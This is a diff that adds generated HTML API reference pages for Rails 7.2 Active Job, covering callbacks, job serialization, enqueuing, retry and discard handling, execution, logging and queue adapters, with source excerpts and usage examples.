+        set_callback(:perform, :around, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_enqueue(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right before the job is enqueued.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  before_enqueue do |job|
+    $statsd.increment "enqueue-video-job.try"
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 121
+      def before_enqueue(*filters, &blk)
+        set_callback(:enqueue, :before, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_perform(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right before the job’s perform method is executed.

+ +
class VideoProcessJob < ActiveJob::Base
+  queue_as :default
+
+  before_perform do |job|
+    UserMailer.notify_video_started_processing(job.arguments.first)
+  end
+
+  def perform(video_id)
+    Video.find(video_id).process
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/callbacks.rb, line 50
+      def before_perform(*filters, &blk)
+        set_callback(:perform, :before, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Core.html b/src/7.2/classes/ActiveJob/Core.html new file mode 100644 index 0000000000..f944f8c928 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Core.html @@ -0,0 +1,407 @@ +--- +title: ActiveJob::Core +layout: default +--- +
+ +
+
+ +
+ +

Active Job Core

+ +

Provides general behavior that will be included into every Active Job object that inherits from ActiveJob::Base.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + arguments

Job arguments

+ [RW] + enqueue_error

Track any exceptions raised by the backend so callers can inspect the errors.

+ [RW] + enqueued_at

Track when a job was enqueued

+ [RW] + exception_executions

Hash that contains the number of times this job handled errors for each specific retry_on declaration. Keys are the string representation of the exceptions listed in the retry_on declaration, while its associated value holds the number of executions where the corresponding retry_on declaration handled one of its listed exceptions.

+ [RW] + executions

Number of times this job has been executed (which increments on every retry, like after an exception).

+ [RW] + job_id

Job Identifier

+ [RW] + locale

I18n.locale to be used during the job.

+ [W] + priority

Priority that the job will have (lower is more priority).

+ [RW] + provider_job_id

ID optionally provided by adapter

+ [W] + queue_name

Queue in which the job will reside.

+ [RW] + scheduled_at

Time when the job should be performed

+ [W] + serialized_arguments
+ [RW] + timezone

Timezone to be used during the job.

+ + + + +

Class Public methods

+ +
+

+ + new(*arguments) + +

+ + +
+

Creates a new job instance. Takes the arguments that will be passed to the perform method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 93
+    def initialize(*arguments)
+      @arguments  = arguments
+      @job_id     = SecureRandom.uuid
+      @queue_name = self.class.queue_name
+      @scheduled_at = nil
+      @priority   = self.class.priority
+      @executions = 0
+      @exception_executions = {}
+      @timezone   = Time.zone&.name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + deserialize(job_data) + +

+ + +
+

Attaches the stored job data to the current instance. Receives a hash returned from serialize

+ +

Examples

+ +
class DeliverWebhookJob < ActiveJob::Base
+  attr_writer :attempt_number
+
+  def attempt_number
+    @attempt_number ||= 0
+  end
+
+  def serialize
+    super.merge('attempt_number' => attempt_number + 1)
+  end
+
+  def deserialize(job_data)
+    super
+    self.attempt_number = job_data['attempt_number']
+  end
+
+  rescue_from(Timeout::Error) do |exception|
+    raise exception if attempt_number > 5
+    retry_job(wait: 10)
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 150
+    def deserialize(job_data)
+      self.job_id               = job_data["job_id"]
+      self.provider_job_id      = job_data["provider_job_id"]
+      self.queue_name           = job_data["queue_name"]
+      self.priority             = job_data["priority"]
+      self.serialized_arguments = job_data["arguments"]
+      self.executions           = job_data["executions"]
+      self.exception_executions = job_data["exception_executions"]
+      self.locale               = job_data["locale"] || I18n.locale.to_s
+      self.timezone             = job_data["timezone"] || Time.zone&.name
+      self.enqueued_at          = Time.iso8601(job_data["enqueued_at"]) if job_data["enqueued_at"]
+      self.scheduled_at         = Time.iso8601(job_data["scheduled_at"]) if job_data["scheduled_at"]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize() + +

+ + +
+

Returns a hash with the job data that can safely be passed to the queuing adapter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 107
+    def serialize
+      {
+        "job_class"  => self.class.name,
+        "job_id"     => job_id,
+        "provider_job_id" => provider_job_id,
+        "queue_name" => queue_name,
+        "priority"   => priority,
+        "arguments"  => serialize_arguments_if_needed(arguments),
+        "executions" => executions,
+        "exception_executions" => exception_executions,
+        "locale"     => I18n.locale.to_s,
+        "timezone"   => timezone,
+        "enqueued_at" => Time.now.utc.iso8601(9),
+        "scheduled_at" => scheduled_at ? scheduled_at.utc.iso8601(9) : nil,
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + successfully_enqueued?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 51
+    def successfully_enqueued?
+      @successfully_enqueued
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Core/ClassMethods.html b/src/7.2/classes/ActiveJob/Core/ClassMethods.html new file mode 100644 index 0000000000..67c18cb24b --- /dev/null +++ b/src/7.2/classes/ActiveJob/Core/ClassMethods.html @@ -0,0 +1,169 @@ +--- +title: ActiveJob::Core::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

These methods will be included into any Active Job object, adding helpers for de/serialization and creation of job instances.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deserialize(job_data) + +

+ + +
+

Creates a new job instance from a hash created with serialize

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 62
+      def deserialize(job_data)
+        job = job_data["job_class"].constantize.new
+        job.deserialize(job_data)
+        job
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set(options = {}) + +

+ + +
+

Creates a job preconfigured with the given options. You can call perform_later with the job arguments to enqueue the job with the preconfigured options

+ +

Options

+
  • +

    :wait - Enqueues the job with the specified delay

    +
  • +

    :wait_until - Enqueues the job at the time specified

    +
  • +

    :queue - Enqueues the job on the specified queue

    +
  • +

    :priority - Enqueues the job with the specified priority

    +
+ +

Examples

+ +
VideoJob.set(queue: :some_queue).perform_later(Video.last)
+VideoJob.set(wait: 5.minutes).perform_later(Video.last)
+VideoJob.set(wait_until: Time.now.tomorrow).perform_later(Video.last)
+VideoJob.set(queue: :some_queue, wait: 5.minutes).perform_later(Video.last)
+VideoJob.set(queue: :some_queue, wait_until: Time.now.tomorrow).perform_later(Video.last)
+VideoJob.set(queue: :some_queue, wait: 5.minutes, priority: 10).perform_later(Video.last)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/core.rb, line 86
+      def set(options = {})
+        ConfiguredJob.new(self, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/DeserializationError.html b/src/7.2/classes/ActiveJob/DeserializationError.html new file mode 100644 index 0000000000..10e33ee22f --- /dev/null +++ b/src/7.2/classes/ActiveJob/DeserializationError.html @@ -0,0 +1,68 @@ +--- +title: ActiveJob::DeserializationError +layout: default +--- +
+ +
+
+ +
+ +

Raised when an exception is raised during job arguments deserialization.

+ +

Wraps the original exception raised as cause.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/EnqueueError.html b/src/7.2/classes/ActiveJob/EnqueueError.html new file mode 100644 index 0000000000..fd04a47b69 --- /dev/null +++ b/src/7.2/classes/ActiveJob/EnqueueError.html @@ -0,0 +1,66 @@ +--- +title: ActiveJob::EnqueueError +layout: default +--- +
+ +
+
+ +
+ +

Can be raised by adapters if they wish to communicate to the caller a reason why the adapter was unexpectedly unable to enqueue a job.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Enqueuing.html b/src/7.2/classes/ActiveJob/Enqueuing.html new file mode 100644 index 0000000000..64d0954827 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Enqueuing.html @@ -0,0 +1,193 @@ +--- +title: ActiveJob::Enqueuing +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + enqueue_after_transaction_commit + +

+ + +
+

Defines if enqueueing this job from inside an Active Record transaction automatically defers the enqueue to after the transaction commits.

+ +

It can be set on a per job basis:

+ +
- `:always` forces the job to be deferred.
+- `:never` forces the job to be queued immediately.
+- `:default` lets the queue adapter define the behavior (recommended).
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/enqueuing.rb, line 54
+      class_attribute :enqueue_after_transaction_commit, instance_accessor: false, instance_predicate: false, default: :never
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + enqueue(options = {}) + +

+ + +
+

Enqueues the job to be performed by the queue adapter.

+ +

Options

+
  • +

    :wait - Enqueues the job with the specified delay

    +
  • +

    :wait_until - Enqueues the job at the time specified

    +
  • +

    :queue - Enqueues the job on the specified queue

    +
  • +

    :priority - Enqueues the job with the specified priority

    +
+ +

Examples

+ +
my_job_instance.enqueue
+my_job_instance.enqueue wait: 5.minutes
+my_job_instance.enqueue queue: :important
+my_job_instance.enqueue wait_until: Date.tomorrow.midnight
+my_job_instance.enqueue priority: 10
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/enqueuing.rb, line 113
+    def enqueue(options = {})
+      set(options)
+      self.successfully_enqueued = false
+
+      run_callbacks :enqueue do
+        raw_enqueue
+      end
+
+      if successfully_enqueued?
+        self
+      else
+        false
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Enqueuing/ClassMethods.html b/src/7.2/classes/ActiveJob/Enqueuing/ClassMethods.html new file mode 100644 index 0000000000..a82d8179ab --- /dev/null +++ b/src/7.2/classes/ActiveJob/Enqueuing/ClassMethods.html @@ -0,0 +1,167 @@ +--- +title: ActiveJob::Enqueuing::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Includes the perform_later method for job initialization.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform_later(...) + +

+ + +
+

Push a job onto the queue. By default the arguments must be either String, Integer, Float, NilClass, TrueClass, FalseClass, BigDecimal, Symbol, Date, Time, DateTime, ActiveSupport::TimeWithZone, ActiveSupport::Duration, Hash, ActiveSupport::HashWithIndifferentAccess, Array, Range, or GlobalID::Identification instances, although this can be extended by adding custom serializers.

+ +

Returns an instance of the job class queued with arguments available in Job#arguments or false if the enqueue did not succeed.

+ +

After the attempted enqueue, the job will be yielded to an optional block.

+ +

If Active Job is used conjointly with Active Record, and perform_later is called inside an Active Record transaction, then the enqueue is implicitly deferred to after the transaction is committed, or dropped if it’s rolled back. In such case perform_later will return the job instance like if it was successfully enqueued, but will still return false if a callback prevented the job from being enqueued.

+ +

This behavior can be changed on a per job basis:

+ +
class NotificationJob < ApplicationJob
+  self.enqueue_after_transaction_commit = false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/enqueuing.rb, line 82
+      def perform_later(...)
+        job = job_or_instantiate(...)
+        enqueue_result = job.enqueue
+
+        yield job if block_given?
+
+        enqueue_result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + job_or_instantiate(*args, &_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/enqueuing.rb, line 92
+        def job_or_instantiate(*args, &_) # :doc:
+          args.first.is_a?(self) ? args.first : new(*args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Exceptions.html b/src/7.2/classes/ActiveJob/Exceptions.html new file mode 100644 index 0000000000..1d69479d13 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Exceptions.html @@ -0,0 +1,146 @@ +--- +title: ActiveJob::Exceptions +layout: default +--- +
+ +
+
+ +
+ +

Provides behavior for retrying and discarding jobs on exceptions.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + retry_job(options = {}) + +

+ + +
+

Reschedules the job to be re-executed. This is useful in combination with rescue_from. When you rescue an exception from your job you can ask Active Job to retry performing your job.

+ +

Options

+
  • +

    :wait - Enqueues the job with the specified delay in seconds

    +
  • +

    :wait_until - Enqueues the job at the time specified

    +
  • +

    :queue - Enqueues the job on the specified queue

    +
  • +

    :priority - Enqueues the job with the specified priority

    +
+ +

Examples

+ +
class SiteScraperJob < ActiveJob::Base
+  rescue_from(ErrorLoadingSite) do
+    retry_job queue: :low_priority
+  end
+
+  def perform(*args)
+    # raise ErrorLoadingSite if cannot scrape
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/exceptions.rb, line 151
+    def retry_job(options = {})
+      instrument :enqueue_retry, options.slice(:error, :wait) do
+        enqueue options
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Exceptions/ClassMethods.html b/src/7.2/classes/ActiveJob/Exceptions/ClassMethods.html new file mode 100644 index 0000000000..3522297eb4 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Exceptions/ClassMethods.html @@ -0,0 +1,274 @@ +--- +title: ActiveJob::Exceptions::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_discard(&blk) + +

+ + +
+

A block to run when a job is about to be discarded for any reason.

+ +

Example

+ +
class WorkJob < ActiveJob::Base
+  after_discard do |job, exception|
+    ExceptionNotifier.report(exception)
+  end
+
+  ...
+
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/exceptions.rb, line 124
+      def after_discard(&blk)
+        self.after_discard_procs += [blk]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + discard_on(*exceptions) + +

+ + +
+

Discard the job with no attempts to retry, if the exception is raised. This is useful when the subject of the job, like an Active Record, is no longer available, and the job is thus no longer relevant.

+ +

You can also pass a block that’ll be invoked. This block is yielded with the job instance as the first and the error instance as the second parameter.

+ +

retry_on and discard_on handlers are searched from bottom to top, and up the class hierarchy. The handler of the first class for which exception.is_a?(klass) holds true is the one invoked, if any.

+ +

Example

+ +
class SearchIndexingJob < ActiveJob::Base
+  discard_on ActiveJob::DeserializationError
+  discard_on(CustomAppException) do |job, error|
+    ExceptionNotifier.caught(error)
+  end
+
+  def perform(record)
+    # Will raise ActiveJob::DeserializationError if the record can't be deserialized
+    # Might raise CustomAppException for something domain specific
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/exceptions.rb, line 103
+      def discard_on(*exceptions)
+        rescue_from(*exceptions) do |error|
+          instrument :discard, error: error do
+            yield self, error if block_given?
+            run_after_discard_procs(error)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + retry_on(*exceptions, wait: 3.seconds, attempts: 5, queue: nil, priority: nil, jitter: JITTER_DEFAULT) + +

+ + +
+

Catch the exception and reschedule job for re-execution after so many seconds, for a specific number of attempts. If the exception keeps getting raised beyond the specified number of attempts, the exception is allowed to bubble up to the underlying queuing system, which may have its own retry mechanism or place it in a holding queue for inspection.

+ +

You can also pass a block that’ll be invoked if the retry attempts fail for custom logic rather than letting the exception bubble up. This block is yielded with the job instance as the first and the error instance as the second parameter.

+ +

retry_on and discard_on handlers are searched from bottom to top, and up the class hierarchy. The handler of the first class for which exception.is_a?(klass) holds true is the one invoked, if any.

+ +

Options

+
  • +

    :wait - Re-enqueues the job with a delay specified either in seconds (default: 3 seconds), as a computing proc that takes the number of executions so far as an argument, or as a symbol reference of :polynomially_longer, which applies the wait algorithm of ((executions**4) + (Kernel.rand * (executions**4) * jitter)) + 2 (first wait ~3s, then ~18s, then ~83s, etc)

    +
  • +

    :attempts - Enqueues the job the specified number of times (default: 5 attempts) or a symbol reference of :unlimited to retry the job until it succeeds. The number of attempts includes the original job execution.

    +
  • +

    :queue - Re-enqueues the job on a different queue

    +
  • +

    :priority - Re-enqueues the job with a different priority

    +
  • +

    :jitter - A random delay of wait time used when calculating backoff. The default is 15% (0.15) which represents the upper bound of possible wait time (expressed as a percentage)

    +
+ +

Examples

+ +
class RemoteServiceJob < ActiveJob::Base
+  retry_on CustomAppException # defaults to ~3s wait, 5 attempts
+  retry_on AnotherCustomAppException, wait: ->(executions) { executions * 2 }
+  retry_on CustomInfrastructureException, wait: 5.minutes, attempts: :unlimited
+
+  retry_on ActiveRecord::Deadlocked, wait: 5.seconds, attempts: 3
+  retry_on Net::OpenTimeout, Timeout::Error, wait: :polynomially_longer, attempts: 10 # retries at most 10 times for Net::OpenTimeout and Timeout::Error combined
+  # To retry at most 10 times for each individual exception:
+  # retry_on Net::OpenTimeout, wait: :polynomially_longer, attempts: 10
+  # retry_on Net::ReadTimeout, wait: 5.seconds, jitter: 0.30, attempts: 10
+  # retry_on Timeout::Error, wait: :polynomially_longer, attempts: 10
+
+  retry_on(YetAnotherCustomAppException) do |job, error|
+    ExceptionNotifier.caught(error)
+  end
+
+  def perform(*args)
+    # Might raise CustomAppException, AnotherCustomAppException, or YetAnotherCustomAppException for something domain specific
+    # Might raise ActiveRecord::Deadlocked when a local db deadlock is detected
+    # Might raise Net::OpenTimeout or Timeout::Error when the remote service is down
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/exceptions.rb, line 62
+      def retry_on(*exceptions, wait: 3.seconds, attempts: 5, queue: nil, priority: nil, jitter: JITTER_DEFAULT)
+        rescue_from(*exceptions) do |error|
+          executions = executions_for(exceptions)
+          if attempts == :unlimited || executions < attempts
+            retry_job wait: determine_delay(seconds_or_duration_or_algorithm: wait, executions: executions, jitter: jitter), queue: queue, priority: priority, error: error
+          else
+            if block_given?
+              instrument :retry_stopped, error: error do
+                yield self, error
+              end
+              run_after_discard_procs(error)
+            else
+              instrument :retry_stopped, error: error
+              run_after_discard_procs(error)
+              raise error
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Execution.html b/src/7.2/classes/ActiveJob/Execution.html new file mode 100644 index 0000000000..91edf61a95 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Execution.html @@ -0,0 +1,195 @@ +--- +title: ActiveJob::Execution +layout: default +--- +
+ +
+
+ +
+ +

Active Job Execution

+ +

Provides methods to execute jobs immediately, and wraps job execution so that exceptions configured with rescue_from are handled.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/execution.rb, line 60
+    def perform(*)
+      fail NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + perform_now() + +

+ + +
+

Performs the job immediately. The job is not sent to the queuing adapter but directly executed by blocking the execution of others until it’s finished. perform_now returns the value of your job’s perform method.

+ +
class MyJob < ActiveJob::Base
+  def perform
+    "Hello World!"
+  end
+end
+
+puts MyJob.new(*args).perform_now # => "Hello World!"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/execution.rb, line 45
+    def perform_now
+      # Guard against jobs that were persisted before we started counting executions by zeroing out nil counters
+      self.executions = (executions || 0) + 1
+
+      deserialize_arguments_if_needed
+
+      _perform_job
+    rescue Exception => exception
+      handled = rescue_with_handler(exception)
+      return handled if handled
+
+      run_after_discard_procs(exception)
+      raise
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Execution/ClassMethods.html b/src/7.2/classes/ActiveJob/Execution/ClassMethods.html new file mode 100644 index 0000000000..c1d87ef068 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Execution/ClassMethods.html @@ -0,0 +1,110 @@ +--- +title: ActiveJob::Execution::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Includes methods for executing and performing jobs instantly.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform_now(...) + +

+ + +
+

Performs the job immediately.

+ +
MyJob.perform_now("mike")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/execution.rb, line 22
+      def perform_now(...)
+        job_or_instantiate(...).perform_now
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Logging.html b/src/7.2/classes/ActiveJob/Logging.html new file mode 100644 index 0000000000..85532c6cc8 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Logging.html @@ -0,0 +1,140 @@ +--- +title: ActiveJob::Logging +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + log_arguments + +

+ + +
+

Configures whether a job’s arguments should be logged. This can be useful when a job’s arguments may be sensitive and so should not be logged.

+ +

The value defaults to true, but this can be configured with config.active_job.log_arguments. Additionally, individual jobs can also configure a value, which will apply to themselves and any subclasses.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/logging.rb, line 26
+      class_attribute :log_arguments, instance_accessor: false, default: true
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger + +

+ + +
+

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. You can retrieve this logger by calling logger on either an Active Job job class or an Active Job job instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/logging.rb, line 15
+      cattr_accessor :logger, default: ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT))
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapter.html new file mode 100644 index 0000000000..cb0f71593b --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapter.html @@ -0,0 +1,67 @@ +--- +title: ActiveJob::QueueAdapter +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapter/ClassMethods.html b/src/7.2/classes/ActiveJob/QueueAdapter/ClassMethods.html new file mode 100644 index 0000000000..91ddc8df9e --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapter/ClassMethods.html @@ -0,0 +1,211 @@ +--- +title: ActiveJob::QueueAdapter::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Includes the setter method for changing the active queue adapter.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
QUEUE_ADAPTER_METHODS=[:enqueue, :enqueue_at].freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + queue_adapter() + +

+ + +
+

Returns the backend queue provider. The default queue adapter is :async. See QueueAdapters for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapter.rb, line 34
+      def queue_adapter
+        self.queue_adapter = :async if _queue_adapter.nil?
+        _queue_adapter
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queue_adapter=(name_or_adapter) + +

+ + +
+

Specify the backend queue provider. The default queue adapter is the :async queue. See QueueAdapters for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapter.rb, line 49
+      def queue_adapter=(name_or_adapter)
+        case name_or_adapter
+        when Symbol, String
+          queue_adapter = ActiveJob::QueueAdapters.lookup(name_or_adapter).new
+          assign_adapter(name_or_adapter.to_s, queue_adapter)
+        else
+          if queue_adapter?(name_or_adapter)
+            adapter_name = ActiveJob.adapter_name(name_or_adapter).underscore
+            assign_adapter(adapter_name, name_or_adapter)
+          else
+            raise ArgumentError
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queue_adapter_name() + +

+ + +
+

Returns string denoting the name of the configured queue adapter. By default returns "async".

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapter.rb, line 41
+      def queue_adapter_name
+        self.queue_adapter = :async if _queue_adapter_name.nil?
+        _queue_adapter_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters.html b/src/7.2/classes/ActiveJob/QueueAdapters.html new file mode 100644 index 0000000000..7b9e797ca9 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters.html @@ -0,0 +1,277 @@ +--- +title: ActiveJob::QueueAdapters +layout: default +--- +
+ +
+
+ +
+ +

Active Job adapters

+ +

Active Job has adapters for the following queuing backends:

+ + +

For testing and development Active Job has three built-in adapters:

+ + +

Backends Features

+ +
|                   | Async | Queues | Delayed    | Priorities | Timeout | Retries |
+|-------------------|-------|--------|------------|------------|---------|---------|
+| Backburner        | Yes   | Yes    | Yes        | Yes        | Job     | Global  |
+| Delayed Job       | Yes   | Yes    | Yes        | Job        | Global  | Global  |
+| Que               | Yes   | Yes    | Yes        | Job        | No      | Job     |
+| queue_classic     | Yes   | Yes    | Yes*       | No         | No      | No      |
+| Resque            | Yes   | Yes    | Yes (Gem)  | Queue      | Global  | Yes     |
+| Sidekiq           | Yes   | Yes    | Yes        | Queue      | No      | Job     |
+| Sneakers          | Yes   | Yes    | No         | Queue      | Queue   | No      |
+| Sucker Punch      | Yes   | Yes    | Yes        | No         | No      | No      |
+| Active Job Async  | Yes   | Yes    | Yes        | No         | No      | No      |
+| Active Job Inline | No    | Yes    | N/A        | N/A        | N/A     | N/A     |
+| Active Job Test   | No    | Yes    | N/A        | N/A        | N/A     | N/A     |
+
+ +

Async

+ +

Yes: The Queue Adapter has the ability to run the job in a non-blocking manner. It either runs on a separate or forked process, or on a different thread.

+ +

No: The job is run in the same process.

+ +

Queues

+ +

Yes: Jobs may set which queue they are run in with queue_as or by using the set method.

+ +

Delayed

+ +

Yes: The adapter will run the job in the future through perform_later.

+ +

(Gem): An additional gem is required to use perform_later with this adapter.

+ +

No: The adapter will run jobs at the next opportunity and cannot use perform_later.

+ +

N/A: The adapter does not support queuing.

+ +

NOTE: queue_classic supports job scheduling since version 3.1. For older versions you can use the queue_classic-later gem.

+ +

Priorities

+ +

The order in which jobs are processed can be configured differently depending on the adapter.

+ +

Job: Any class inheriting from the adapter may set the priority on the job object relative to other jobs.

+ +

Queue: The adapter can set the priority for job queues, when setting a queue with Active Job this will be respected.

+ +

Yes: Allows the priority to be set on the job object, at the queue level or as default configuration option.

+ +

No: The adapter does not allow the priority of jobs to be configured.

+ +

N/A: The adapter does not support queuing, and therefore sorting them.

+ +

Timeout

+ +

When a job will stop after the allotted time.

+ +

Job: The timeout can be set for each instance of the job class.

+ +

Queue: The timeout is set for all jobs on the queue.

+ +

Global: The adapter is configured that all jobs have a maximum run time.

+ +

No: The adapter does not allow the timeout of jobs to be configured.

+ +

N/A: This adapter does not run in a separate process, and therefore timeout is unsupported.

+ +

Retries

+ +

Job: The number of retries can be set per instance of the job class.

+ +

Yes: The Number of retries can be configured globally, for each instance or on the queue. This adapter may also present failed instances of the job class that can be restarted.

+ +

Global: The adapter has a global number of retries.

+ +

No: The adapter does not allow the number of retries to be configured.

+ +

N/A: The adapter does not run in a separate process, and therefore doesn’t support retries.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + lookup(name) + +

+ + +
+

Returns adapter for specified name.

+ +
ActiveJob::QueueAdapters.lookup(:sidekiq)
+# => ActiveJob::QueueAdapters::SidekiqAdapter
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters.rb, line 138
+      def lookup(name)
+        const_get(name.to_s.camelize << ADAPTER)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
